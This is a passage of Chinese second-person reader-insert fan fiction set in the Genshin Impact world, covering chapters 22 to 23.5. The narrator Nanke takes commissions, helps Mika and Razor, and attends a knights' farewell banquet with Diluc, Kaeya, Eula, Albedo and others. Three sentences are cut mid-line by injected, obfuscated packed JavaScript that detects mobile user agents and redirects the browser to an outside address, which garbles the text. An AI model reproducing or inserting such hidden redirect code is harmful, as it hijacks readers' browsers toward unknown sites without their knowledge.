“下次再说吧……”你看着面前盒子里小小的勋章,是蒙德城的教堂与蒲公英结合的样式,还挺好看的,只是,你什么都没做啊,“为什么突然想着提议这个东西?” “事实就是如此,毕竟黑火案涉及到两国之间的情谊,要不是你,恐怕没这么快抓到凶手——你说是吧,迪卢克老爷?”凯亚喝着杯中的葡萄酒,看向那个红色的男人。 迪卢克淡淡瞥了你们一眼,当做回应,继续给客人调酒。 你吃着聚会提供的小吃和饮料,顺便听着凯亚给你细数委托报酬的详情——总之上次的跑腿的摩拉全额给你,一分不少。 凯亚把花瓶送出去的那一刻,迪卢克肉眼可见嫌弃起来:“……凯亚先生的品味一如既往的独特。” “这是艺术,你觉得呢,南柯小姐?”他笑盈盈看向你。 “配色大胆,复古又新潮。”你给出极为片面的评价,“只有与之共鸣的人才能get到其中的独特之处。” “……共鸣?啊哈~”他轻笑一声,灰蓝的眸底闪烁着狡黠的光,“不愧是你,看来你比某位固执的老板,更懂得欣赏何为艺术。” 在你们有一搭没一搭聊着天,酒馆的门被一阵风推开,伴随着塞西莉亚花的清香从你身后一涌而来…… “听说这里有免费的酒水可以畅饮?” 温迪轻巧来到你身后,双手搭在你肩膀上,凑过来笑嘻嘻的:“好久不见,这是在聚会?需要我这个全世界最好的吟游诗人献一曲么?” “这是提供给骑士团的,还有,未成年人禁止饮酒。”迪卢克毫不客气堵了回去。 “诶呀,别这么严格嘛,一杯,就一杯……”绿色的家伙有些心痛捂着自己的胸口,还轻轻晃了晃你,“要不…你也替我向这位老板求求情嘛……” 这是作弊!你被他晃得一时丢了脑子,转头拍拍凯亚看向吧台里的男人:“凯亚说他还想喝一杯蒲公英酒。” “喂…别擅自决定我的下一杯啊……”凯亚抽搐着眉毛哭笑不得,最终闭眼摇摇头,“好吧,老板,听她的吧。” “真的吗?”温迪看着被放到他面前的酒杯,更是开心地揽着你的肩膀轻轻抱了一下,随即松开你取出琴调试,“作为谢礼,就让我为你们演奏刚才迸发的灵感吧~” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 这应该算是近距离接触剧情了,尽管方式有些……被迫,但总体上没有变化,硬要说哪里不同的话,那就是多了个你的存在。 “……知道魔神吗?魔神是不能完全被消灭的,即使神格泯灭,其力量与意志也会留下。”阿贝多将整理过的资料放在你面前,用笔点了点其中的记录的语句,“而魔神死后留下的残渣和怨恨化为世间的鬼怪……或者灾劫。” 你看着面前一大堆有些头疼的资料,抬头望着他,一副清澈的神情:“……嗯?” “你的不太一样,说是怨念,不如说是一个全新的意识。”他翻开其中一页,上面记载了关于魔神残渣的普遍特征,其意志是纯粹的恨意,不针对任何人或事;其力量是常人无法承受的量,“而且这几次的交流,祂表现得确实是一个人才能拥有的思维逻辑,有情感和情绪。” “很奇怪是吧……”你开始翻看那些资料,不得不说不愧是他,有些你都要遗忘的设定,这么一看又想起来了。 他手撑着桌子侧头看着你,另一只手若有若无触碰你的翎羽末端:“不如说很特殊,你能够接受祂的存在,关系还特别融洽,还让祂扼制吞噬本能……” 指尖触碰到的羽毛无意识摆动几下,他收回手搭在你的椅背,继续注视你的侧脸:“你说你穿越过来后体内就有魔神残渣,以及卷轴,还有那个,搭档——你还想找回那些记忆吗?” “有机会再说,而且那些估计不太好就是了,植入魔神残渣……听着就不是很好的回忆。”你继续翻看那些资料,“何况我还有更重要的事。” “……抱主角的大腿?”他饶有兴致看着你。 淦!怎么被他记住这茬了!你只能捏着那些资料继续翻看,故作淡定:“这是生存策略。” 他直起身轻笑一声,将边上的抑制剂取下来给你:“趋利避害是生物的本能,只是……我觉得你已经很厉害了,还需要所谓的主角吗?” 你内心咯噔一下,接过抑制剂盯着里面的液体,十分笃定开口:“因为那可是主角(老婆)啊!” 怎么有点耳熟?他突然感觉有什么东西从心底抽离了,像有一颗观测了很久的星星要被别的星球捕获了。他张了张口,最后化作一声叹息:“……我明白了,不过,请记住,无论你未来去了哪里,如有任何需要——都可以随时回来。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 凯亚又双叒叕给你推荐委托了,但这次的难度和以前的完全不是一个等级,什么叫探寻周边疑似有深渊教团活动的痕迹? “凯亚队长你是不是太高看我了?”你难以置信看着他。 “自信点啊,我还安排一位助手给你呢,麻烦事丢给他就好——”为表安抚,他还预支了一部分定金,将钱袋放在你手里后还拍了拍你的脑袋,“加油哦~” 你依旧不可置信盯着他。 于是在行动的那天晚上,夜色正浓,位处侧门,你看到面前裹着黑色斗篷的迪卢克,了然点头:“原来你就是我的助手……请多指教?” “那家伙又对你说了什么啊……”他有些无奈扶正面具,率先走在前头,“你接他的不如接我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088079|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,由晨曦酒庄直接开的正式委托都比他的划算。” 你跟在他身后展开卷轴探查环境,顺便思考接下来的应对措施:“那,那如果真的是你的委托的话,请用巨量的摩拉砸死我吧!” “……”他瞥了你一眼,表情依旧淡漠,眸中无形的火焰似乎跳跃了一瞬,“好啊,你到时候可不要拒绝。” 委托内容是这样的,有人声称蒙德城周边疑似有奇怪的生物在游荡,看起来毛绒绒的,你念着委托单上的注释,无比正经:“而我们的暗夜英雄自然不能无视!” “这个称号……” “不可以这么叫吗?很好听啊!” “哼……”他抬手拉紧了兜帽,“别让我发现其实是你在散布这个称号,知晓一切的穿越者。” “我哪有那个能力啊……” 得益于卷轴几近万能的功能,你们顺利在城郊偏僻的位置,一堆杂物后发现了一个法阵,黑紫色的能量构成线条缓慢蠕动,散发着某种不可名状的危险气息。 你指了指那个法阵:“迪卢克老爷认得这是个什么作用的?” “你觉得呢?”他随手唤起火焰彻底抹去那个法阵。 “事先声明,我也是猜的。”你踱步到一旁站上一块石砖,摇摇晃晃保持平衡,“按照套路,不是召唤阵就是传送阵?” “哦?没想到你也会对这方面有研究?”他看着你的背影若有所思,“或者……你又知道什么?” “经验之谈而已,总不能是国土炼成阵吧……” “那是……算了。”他轻咳一声,率先离开,“走吧,还有其他的。” 另一个,也是最后一个在城郊的另一端,同样在外面某处极为隐蔽的位置,虽然花纹长得差不多,但这个似乎看起来更加的……不妙。 此刻周围寂静无声,虫鸣都不知何时消失不见,空气也颇为凝固,城墙投下的阴影缓缓攀上你们的脚尖。 “后退。”他侧身挡住你。 几乎在同时,刺眼的紫光闪过,面前的空气一阵扭曲,几只丘丘人凭空出现—— 他率先冲了出去,炽热的火焰随着他的动作舞动,大剑砍在魔物身上迸发更猛烈的热浪,你下意识后退一步防御,余光瞥见更多的丘丘人出没——这样下去可没完没了。 魔物尤其的多,单个造成的伤害可以忽略不计,但一窝蜂涌上来还是没法面面俱到,时间一长容易疲倦。 “迪卢克老爷,魔物就交给你了!”你绘制了风元素扩散了他的火元素攻击。 他在混乱中应了一声,每前进一步,火焰也腾升一寸,顺着风裹挟着他,斗篷猎猎作响,红色的火光将这片区域照得亮堂。 只要他创造出一点点的空隙,你就能瞅准时机将准备好的元素力发射出去,你蹲下来丈量着距离,同时快速绘制——细微笔直的轨迹在空气中划出残影,被涂有法阵的墙面突然被元素力席卷而过,扭曲的线条瞬间消失殆尽。 迪卢克伸手把你拉起来,看了眼空无一物的墙角,又看向你,“不错的配合。” “还得是你清出来了空间,不然这么多魔物,我也打不中。”你借力站起身,兴许刚战斗过,他的手掌有些温热,却并没有到烫人的程度。 哦——牵手手…… 他不着痕迹松开了。 哦……松开了…… 26. 第22章 一时兴起 温迪就像那种,忽略时哪哪都有他卖唱的身影,一旦认真寻找时就死活找不到,整整一个月了,你愣是找不到任何熟悉的嗓音,让你不得不怀疑他是不是故意的。 其实吧,上次他告诉你的歌谣和图案已经记下了,只可惜查阅了大量的资料都无法得知里面具体要表达什么——是哪里不对吗? 解读诗歌恐怕只有温迪本迪才能做到的吧,而且事关祂的事,你也不好透露出去,只能先让祂复述一遍,抄录下来后下次碰到再说了。 而迪卢克真给你提供了晨曦酒庄的委托,新鲜出炉那种,被你挑选后剩下的直接挂冒险家协会。直接从委托方手里获得的和从协会里拿到的可不一样,不仅时间上有优势,得到的报酬也是全额,而不是被协会抽成剩下的。 在剩下的时间里你接接不同类型的委托、配合阿贝多的项目、认识不少朋友(老婆),在既定的日子到来之前,你还有一项很重要的事要做——考飞行执照! 还在至冬的时候,虽然那边也设立有这一类的考核,但毕竟是天寒地冻的环境,合格条件非常苛刻,本来不恐高的你,在屡次从高空直接栽进雪地里后,愣是被整出阴影了。来到这里后也试着报考,又是无数次的尝试,不是没有飞到预定的位置就是超时……似乎只差一点点就能合格了。 “放心,你已经很熟悉这里的风向了,只要在飞行过程中放松点,按照步骤就可以了。”红色热情的少女拍了拍你的双肩,再一次调整你的风之翼,竖了个大拇指对你扬起笑容,“一定可以的!” 好安柏,你决定不能再辜负她的期待了!你来到悬崖边望着远处的青葱的平原,久远的记忆与之重叠,飞鸟与风,蒲公英和大树。 闭上眼深吸一口气,你纵身一跃乘着风再一次悬浮起来—— 你好像知道自己为什么考这么多次都不过了,那明显带着蒲公英绒毛的风,就这么明晃晃搅乱气流让你飞行受阻,不是他还能是谁?! 安柏倒很顺利乘着风,先一步去终点等你去了,而你,被掀了n个跟头滚出二里地之后,最终忍无可忍放开嗓子:“巴巴托斯,做点正事吧啊啊啊——” “欸嘿~” 最终,你歪歪斜斜落入一片树林,视野一下子昏暗起来,簇拥呼来的树枝齐刷刷刮着你向后掠去,眼都不敢睁一下——瞅着落地点却发现前方似乎有冰蓝色的光闪过,异常之处必定有情况!你操纵风之翼往那边降落,只可惜这里气流极其不稳,你是直接冲下去的—— “要刹不住车啦,前面的深渊法师别挡道——” 你被迫一脚蹬在那毛绒绒,整个人翻出去直接撞到正在与之对抗的骑士团成员,摔作一团滚了出去,脑浆都快被摇匀了…… 同样被撞懵的少年躺在你身下,他捂着脑袋,尽量稳住你支起身体。 “wubuzilaku……” “诶——危险!” 他连忙架起弓弩对准,带着寒气的箭矢瞬发出去,一举击破深渊法师的护盾,连同刚才飞来的水弹也给瞬间穿透! 好像误入了什么战斗现场,你被那黄色短发少年扶起,轻轻晃了晃:“这位小姐,你没事吧?” “……可以了,我很好,别晃了。”对上他那深蓝的眼眸与头顶标志性的玄凤呆毛,你抬手示意无碍,转头指了指一旁陷入萎靡状态的两只深渊法师,“先处理这个吧。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 一番协作后,你们顺利摆脱了那两只深渊法师,只是,在最后,那两只似乎是自觉得没什么追击的动力,渐渐停在原地彼此嘀嘀咕咕的,总感觉在蛐蛐你刚才送的一脚! 你们停在稍微隐蔽的位置休息,米卡记下刚才的位置,有些后怕拍拍胸口:“还好有你在……小姐,请问刚才…额,那一击……” 说及时吧,也不及时,他已经破盾了,结果看着你从天而降一脚把深渊法师踹飞…… “没打扰到你吧,刚才,我好像在……在考飞行执照,但突然被一阵妖风吹走了。”你抬头眯着眼去看头顶被树木遮蔽的日光,伸手遮住泄露下来的光晕,发白得令人恍惚。 “飞行执照……!你,你认识安柏长官?”他忽然有些激动起来,双眼亮晶晶看着你,猛然发觉自己过于唐突的举止,又不好意思避开视线挠头,“不好意思……对了,我是骑士团游击小队的米卡,很感谢刚才你的帮助,作为骑士……请务必让我送你回去。” 之前在图书馆里的借书时候,偶尔见过这位少年出没在骑士团,又不知道在何时离开,都是i人也没机会打招呼,更遑论交谈了。 “米卡不是还在执行任务?不用担心,我是冒险家,可以自己找到路的。”其实你有点想找卖唱的质问一番来着,那家伙在搞什么名堂? “请、请等一下!”他伸手先一步挡在你面前,语速飞快的同时又有点焦急,“这里…这里是奔狼领附近,我在附近重新测绘地形图,有报告称这里有兽境幼兽在游荡,很危险的!” 流血……狗?奔狼领?从风起地那边滚过来……这得多远啊?!中间还隔着清泉镇呢! 卖唱的把你干到哪来了?! 见你刚才还一脸平静,又瞬间失落起来的表情,米卡更是手足无措了:“请不要担心,我的任务其实也差不多完成了,只需要回收几个测量装备就好了……所以、所以同行是最安全的方法。” “……好吧,那就这样吧,你的装备在哪?现在要回收吗?”从这里回到那边花费的时间起码以天来计数,你干脆切换成冒险家模式,当做委托内容来询问具体的。 在浓密而复杂的树林里,没有经验丰富的前辈带路是很容易迷失的,你试着用卷轴感知周围地形,这里是你几乎没踏足过的区域,有几个锚点都没收录呢。 穿过纵横交错的枝干,你们顺利回收了部分装置,还有一个在稍微深的位置。 “这是…炼金道具?”米卡指了指你的卷轴。 “你就当他是炼金道具吧,它叫妙妙小工具。” “原来还有名字……刚才看到熟悉的地形图就忍不住问一下……” 你们继续无言前进,这边的地形颇为崎岖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088080|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见日光,翻山越岭来到地势稍高的位置,总算回收了最后一个装置。 从这里越过无边的树林能看到远处的高耸的风墙,厚重的风模糊了那边的残垣断壁,只剩中央伫立的塔顶依稀可见。 “那边…似乎有什么动静……”米卡蹲在一旁,专注于元素视野状态下,微弱的元素微粒在他周身缓慢波动着,“好像有人遇到危险了……?” 你也通过卷轴看到了,深褐色的风衣、灰白色的头发、少年……是特喵的兽境猎犬在追赶着雷泽! 老婆,等着,你这就…… “米卡,拜托你一件事。”你抬手绘制一个buff,施加到他身上。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 增幅过后的箭矢威力迅猛,穿透性强,从这里的山头就能一击贯穿兽境猎犬的核心——庞大的身躯受击后往那边一歪,直挺挺倒下去,又快速化为齑粉回归地脉。 “你们……是谁?” 在你们来到事发地点后,少年蹲在不远处对你们龇牙咧嘴,那双红瞳在昏暗中极为警惕,等你们稍微走近后他愣了一下,嗅了嗅空气:“……有那个男人,的气息……?” “那个男人?”米卡与你对视一眼,一时理解不了这前言不搭后语的话。 “那个……男人?”你蹲下来对雷泽招招手,“是法尔伽?” “法尔伽?唔……不认识。”雷泽有些茫然,显然不认识这个名字。 “我想起来了,之前大团长好像是经常往返于奔狼领……”米卡想起什么一敲手掌,恍然大悟。 或许是熟悉的气息,又或许你们本来就没有恶意,雷泽这才放下戒心靠近你们,可能刚才那一击吓到他了吧。 “不过,雷泽为什么会被魔物追?”你看向一旁因为之前的攻击而被肆虐的植被,被刮蹭变形的地面与被削掉的枝桠,乱糟糟的叶子随意飘落。 “那些狼,很烦,破坏了狩猎。”雷泽每一句话都很用力说着,形似耳朵的头发也耷拉下来,“它们爪子很硬,打不过。” “虽然这边没什么人涉足,但旁边就是清泉镇,也不知道这些魔物从哪出来的,是个隐患,先记下来……”米卡拿出自己的笔记本就开始写写画画,“看来我得加快绘制地图的进程了……” 之后你们又随意聊了会天,一同前往清泉镇,安柏也循着你留下包含讯息的晶蝶找过来了。 “你没事吧?!”安柏握着你的手臂,上上下下左左右右前前后后,仔细观察了会好久,这才一抹额头长舒一口气,“还好还好,考试中途发生那样的事是我的疏忽了……” “这不能怪安柏,天气总是多变的,下次再考就行了。”你急忙安抚她。 “也对,咦?这不是米卡还有……”小兔子从你身侧探出去,好奇看着后面的俩人,眼睛亮晶晶的。 愉快的初步认识过后,你们与雷泽道别,一同返回蒙德城。 ……似乎忘了什么? 一通乱七八糟的经历后,你抬头望着最高处的教堂,算了,摸鱼的这么做总不能一时兴起吧。 27. 第23章 日常 “我即断罪之皇女,真名菲谢尔,应命运的召唤降临在此间——”少女手臂一挥,张开手掌遮过右眼缓缓向下,点点星光随着她的动作浮现、闪烁、消散,化为星尘,“来自遥远的位面的旅者啊,本皇女恩许你的同行!” 奥兹:“小姐说很高兴认识您……” 你转头看看一旁的班尼特,他有些不好意思挠了挠后脑勺:“菲谢尔小姐是协会里资深调查员,虽然她的话太深奥我听不太明白……” 不是,重点不是这个,而是——两位老婆和你同行不要太爽! 前不久,阿贝多研究过你的卷轴后推荐给你的合作委托,说是要收集作战数据,方便日后的研究。 “尊敬的皇女殿下,能与您同行这是何等的荣幸,我等必将协助您冲破一切黑暗!”你一手背在身后,一手置于胸前,对她使用了标准的骑士礼。 菲谢尔一惊,有些惊讶看着你,轻咳一声很快就进入状态:“……甚,甚好!此间天地,竟能觅得如此洞悉真相之人,你我的相遇,想必是那命运的意志!” 班尼特和奥兹对视一眼,前者怀着惊讶与佩服望着你俩,后者犹豫了一下,开始对班尼特翻译…… 三人加一鸟和谐相处,你们的任务是深入一座向下的秘境里,解救被困在其中的冒险家,在过程中…… “我的卷轴这回似乎喜欢先一步深入秘境……” 时隔数个月,你的卷轴又因为这样那样的缘由脱手,落入秘境深处,从至冬到蒙德就没一次这样过,它是不是不想见班尼特? 「这算不算被封了挂,毕竟卷轴在的话,会卷过头,他们没地方发挥。」祂依旧是看热闹不嫌事大的调调。 “……” “对对对…对不起!这里实在是太暗了,不小心碰到了你……” “眼前的真相我已知晓,旅者……”菲谢尔轻拍你的肩膀,另一手抚着右眼,“命运的丝线已然颤动,它将指引我们,沿着环绕的螺旋,终将夺回你所失去之物!” “小姐说,只要继续深入说不定就能找到。” 秘境内地形奇特,成独有的棱形组合在一起,由于是向下的螺旋形态,不少高低落差之间是悬空的,稍有不慎就会失足。 路上无非是打怪、解密,同时有惊无险躲过厄运带来的各种危机,漫长的曲折之后,你们总算找到了需要拯救的冒险家,只是你在寻回卷轴的时候,碰到了一只深渊法师。 对方拿着卷轴展开研究,包括但不限于试一下韧性、防火防水程度等等……拳头硬了。 虽说来路不明的东西至今都没摸清原理,就算它身为挂本身确实很耐造了,但这样当面糟蹋你的妙妙小工具,不可忍! “等等,那是我的东西请放下……不是别扯啊!你(提瓦特粗口),是你的东西吗就这么搞破坏?!”你比了个国际友好手势,接过班尼特点的火把扔过去,“拜托了,菲谢尔,请将奥兹瞄准这个火把——” 砰——艺术就是超载! ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ “所以,你们本来去救那几名冒险家,但为了取回自己的装备与深渊法师展开决斗,结果超载引发的坍塌把你们自己困在里面了?”优菈轻晃着手中的记录表单,纸张哗啦作响,她摆摆头,“真是乱来,要不是阿贝多及时发现异常,又碰巧我们要经过那里,你们估计还要再等个几天。” “我也没想到会那样……下次不敢了。”你和菲谢尔还有班尼特排排站在一起,老实低头。 “你们啊……” 所幸全部都没什么意外,你们做了后续的记录,在陆续散去的时候,意想不到的人出现在骑士团的大厅—— 那抹金色与温柔以及贵气并不相同,在这个男人身上的金是引领的阳光,不过分刺眼,恰到好处指引众人前进的方向。 又或许那气场天生如此,他整个人站在那里,大家就不由自主看过去,但法尔伽却完全没有大团长的架子,一边从楼上走下,一边和同事聊得无比愉快。 “……真是意想不到的相遇,好久不见,小姐。”那个正和大团长聊得不错的人就是凯亚!他还对你笑眯眯打招呼了! 你左看右看,周围确实没有别人了,你只感觉头皮发麻。 “这位小姐就是凯亚经常提到的合作伙伴?”法尔伽站在你面前不远处,微笑点头致意,“幸会,我叫法尔伽,北风骑士兼西风骑士团大团长。” 现在是骑士团总部的大厅、算半个正式场合、你刚结束记录、对方是大团长、在和你打招呼……他身旁还不止凯亚,几个不认识的成员,还有……米卡! 先……先按照流程打招呼吧…… “合作伙伴什么的太夸张了,凯亚队长。”你一番机械的自我介绍,不满看了眼那笑得跟一只狐狸那般的人。 “你看,我们的合作伙伴不仅能力出众,还特别谦虚。”凯亚笑着摊开手,视线掠过你略微紧张的表情,“也多亏你,之前的合作才如此顺利。” 别,别夸了,你只想找借口溜走…… “挺热闹的嘛,看来,刚才做完事故记录的麻烦人员,转眼又成了骑士团的座上宾了。”熟悉的声音从后侧传来,优菈停在你身侧,快速扫视一眼,先对大团长颔首示意,最后看向你的时候停留了一两秒,“你,刚才的记录还有一些细节要再次确认,跟我来一下。” 感谢优菈姐姐解救你于水火之中……!你不着痕迹往她那边挪了一点。 “哈哈哈……”法尔伽爽朗笑出声,“优菈还是这么认真,好,你们去忙,有机会的话我们改日再聊。” “哦呀~”凯亚微微摆头,“看来我们的合作伙伴今天确实很受欢迎呢,连我们的浪花骑士都来亲自照顾了。” 米卡左看右看,只是小心翼翼将手比作喇叭状,说出无声提醒——没事的,优菈队长很好的。 优菈抬了抬下巴,转身时舞动的小披风扬起优雅的弧度,你作了道别后急忙跟上。 她带着你往大楼外走,随口向你确认了关于那秘境的几个问题后又上下打量你一阵:“说起来,上次是你救了米卡的吧?” “上次?” 她看你疑惑得不能再疑惑的表情,有些不满蹙起眉头:“这里已经没有别人了……半个月前在奔狼领他一个人测绘地形,中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088081|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 途遭遇两只深渊法师,是你的帮了他击退那些非人存在——还需要更多回忆吗?” “想起来啦,想起来啦……只是说我救他太夸张了……”你连忙摆手。 “哼…救了我们游击小队的前进测绘员却如此的漫不经心,还让我这个队长亲自来提醒,这个仇我记下了!” “能被老婆记仇可真是……欸?”当你意识到说了什么之后,已经感觉自己的脸要烧了,“我是说优菈小姐……!” 已经,来不及了……你内心捂着脸无声哀嚎…… “……”优菈明显身形一顿,绯色不受控制浮现在脸颊,双眼一瞪,声音不受控制拔高,“如此轻浮的称呼……刚才还觉得你算有点本事的……” 在你险些收不住场面时,另一道温和的声音叫住了你—— ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ “得到的数据还行,但真正破解这上面的术式还需要些时间,以后有机会的话可以在阈值内适当运用这份力量。” 礼貌配合阿贝多的实验请求,告别优菈后又回到熟悉的工坊里,他将检查完毕的卷轴还给你。 接连与老婆们紧张刺激的会面,差点忘了贝老师的任务…… 初步完成抑制剂的研制后,他得以抽出空闲研究你的卷轴和配套的笔,纸张、画杆、笔杆的材料均为相同的物质制作而成,还有上面刻录的术式,那并不是单纯覆在表面。 “……似乎是当初用原材料制作的时候,将术式融合在一起了。”他将卷轴慢慢卷好,“术式里面包含的信息太多了,偏偏不能复制,解析它需要些时间。” 总的来说,不知是谁写的术式,样式古老不可追溯,除了能量转化的基本作用,还有一堆不明意义的注释,以至于这幅卷轴不容易被破坏的同时,还不能复制、修改,想要添加还要不能与原本的功能冲突,不然就是失效或者……出bug。 而且由于过于坚韧,以至于不能采集样本,必须一整个研究。 “究竟谁写的这个术式……过于古老,乱中有序,严谨却包含胡来的方式来编写……”他自言自语起来,双手抱臂往后靠在椅背,仰着头闭眼,“对了,这段时间砂糖和蒂玛乌斯他们俩在忙,得麻烦你继续当我的助手了。” “不麻烦,偶尔来这里配合你的实验还算有趣。”你收好卷轴,自己去给自己倒水了。 依照之前说好的,阿贝多偶尔会把你叫过来充当助手,一开始只是单纯的递工具,根据他的指导去进行简单的协助。到后来他开始讲解一些知识,好让你更加充分参与进来,虽然有种好像又回到大学时光,知识流淌过光滑的大脑皮层不留下一丝痕迹的感觉…… 不过他讲的并不深入,简单的元素反应、元素高等理论、什么是元素生命、炼金术基础概论、各种素材的基本结构与处理方法……就当是重新给你复习一下那些设定了。 日渐西斜,差不多结束的时候,他交给你一份邀请函——措辞和装饰显然是西风骑士团的官方风格。 “送行宴,过段时间我们的大团长率领部分骑士再一次远征,我想…这样的场合,你有必要参与一下。” 28. 第23.5章 送行宴(番外四)[番外] 送行宴……如此重要的场合你也是头一次参加,参与这次宴会里的人基本是骑士团的人,也不乏你完全不认识的人物。从窗户望下去,楼下全是人从众叕,鲜花和彩带延伸出去至喷泉旁的广场,连风都柔和了,似乎在抚平那些蕴含的离别情绪。 这也太正式了……你只感觉有些恍惚,下意识摸摸衣襟的胸针。 这场仪式,或者说,宴会,从n天前就开始忙活了,你也接到一堆相关的委托,装饰、场地布置、物品的运输……啥都有。 白天的正式流程结束后就是你熟悉的宴会环节,那边法尔伽在和米卡比划,凯亚混迹在同僚间,这边安柏和优菈聊得无比投入,你则沉浸在美食中无法自拔——不愧是猎鹿人和天使的馈赠提供的食物与酒水,今天怕不是要走不回去。 你作为首席炼金术士阿贝多的助手出席,而他和大团长交谈几句,之后就看不到他们的身影了,既然没人管你,那你可得试试这所谓大人的滋味—— “保险起见,你还是喝这个。” 在你即将摸到酒水区的杯子时,微凉的触感被塞进你手里,你浑身不自觉得颤了一下,那只手还抓着杯沿让你拿稳。 你淌着冷汗抬头侧目:“迪卢克老爷还真是心系客人的状态——” “只是为了防止合作者在公共场合失态,酒庄的委托还得你来完成才高效。”他五指依旧稳稳抓着杯沿,眸子微微瞥向你。 “你不会以为我会酗酒吧?” “……看来你对自己的酒量没有自知之明。” 也不知道他为什么要坚持,但这句话听着有些别扭啊,自己的酒量真有需要别人看着的程度吗? 算了算了,老板最大。 你叹口气闭眼,拿稳手中的葡萄汁:“好吧,多谢迪卢克老爷的提醒。” 人群攒动,与暖色的灯光映射在杯中的涟漪,影影绰绰,餐具磕碰的声响,推杯换盏,宴会还在进行。 你目送那红黑色的身影又没入人群的阴影里,视线转一圈,继续流连于餐桌旁。 远征队……算了,想这么多干嘛,流程走了,祝福也送出去了,非要说有什么要做的事…… “南柯姐姐!” 衣角处传来微弱的拉力,你停下干饭低头看去,可莉扬起笑脸:“试试我们做幸运饼干,会吃到幸运祝福哦!” “很抱歉打扰你的用餐时光。”小太阳的身后紧跟着一位女仆,银色白色交织的服饰,瑰色点缀在盔甲上,诺艾尔向你行了个标准的屈膝礼,将臂弯的篮子递过来,里头盛满了无数造型可爱的饼干,奶黄色的表面以及边缘恰到好处的微焦。 是万能的诺艾尔! “这是可莉和我一起为大家准备的幸运饼干,希望这些饱含心意的食物能带来好运,南柯小姐,如果不嫌弃的话,也请尝一尝吧?”诺艾尔把篮子往你面前递了递,“里面还有可莉亲手画的小图案,以及……我写的一些祝福语,每块都不一样哦。” “每一块都有……天啊,这是照顾了抽不中的非酋吗?!”你感激的看向她们,“我可以多要几个吗?” “当然可以,请务必多多享用!” “可莉还画了红色四叶草!不过还没有人吃到呢!快试试!”可莉已经把夹子塞进你手里了,亮晶晶红玛瑙般的眸子期待看着你。 你感觉心被击中了—— “原来你们在这里——来吧来吧,优菈,试试手气,而且诺艾尔制作的点心很好吃的!”安柏推着优菈走过来,顺便对你们一一打招呼了。 “幸运饼干?小孩子的把戏。”优菈嘴上不饶人,却在众人无比期待的眼神中又再次看过来,“好吧,既然后辈有如此努心意,那我这个前辈也没有拒绝的理由。” 小小的幸运吸引了不少人过来,大家分走了一点,分享彼此开出来的祝福语,跟集邮一样。 “能见到如此风景,看来我今天运气不错。”凯亚不知何时来到你身旁,同样无声欣赏这氛围,他举起酒杯对你示意,酒水泛起的光泽映衬于他灰蓝色的眼底。 你低头看看自己的葡萄汁,又看看他的动作,轻轻碰了一下他的:“那你抽到什么了吗?” “你好奇?”他另一只手捻着小小的纸条在你眼前扬了扬,刚好被他折叠起来,你的视角看不到里面的内容,但他很快转动指尖递给你,娟秀的字迹写着长长的文字——愿星辰指引你的归途。 你小声念了出来,又抬头看向他:“很适合的祝福呢。” “是啊……”他收敛了刚才蕴含的戏谑,微微直起身看了眼不远处的人群,又回到你脸上,“无论是即将远行的人,亦或是……” “恪守自我,欸——这个明明很合适的嘛,优菈!” “哼……只是普通的祝福,不能说明什么,你的翅膀图案倒也很符合。” “说起来诺艾尔,这些祝福都是你写的吗?” “安,安柏,其实……一部分是自己想的,一部分是从书上选取的……” “可莉也有帮忙!那些图案都是我帮忙画的!” 嘈杂的声音掩盖了旁边的,你有些听不太清,这才回过头看向凯亚:“嗯……你刚才说什么来着?” 凯亚见你这副表情,惊讶地睁大眼,随即,那抹情绪迅速消失殆尽,他晃着杯中酒,液体在缓慢旋转,轻叹笑出声:“没什么,我是说,很适合送行宴的氛围。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 窗外的光线逐渐转为昏黄,酒香与花香渐渐淡去,吃饱喝足的你跟阿贝多打过招呼后,就从骑士团侧门偷溜出去透气。大楼后面有个庭院,送行宴的主场在骑士团和下面靠近猎鹿人的喷泉附近,这里反而清净了很多。 从早上到现在,你的能量早就见底了,只想一个人放空。 放轻脚步在四处转转,确认没有别人后挑了个视野极佳的位置,灌木树丛刚好能挡住所有人的注意力,还有长椅在这里,放松刚刚好——于是你直接扑在长椅上,蛄蛹几下翻过来躺着,闭上眼感受余晖的温度。 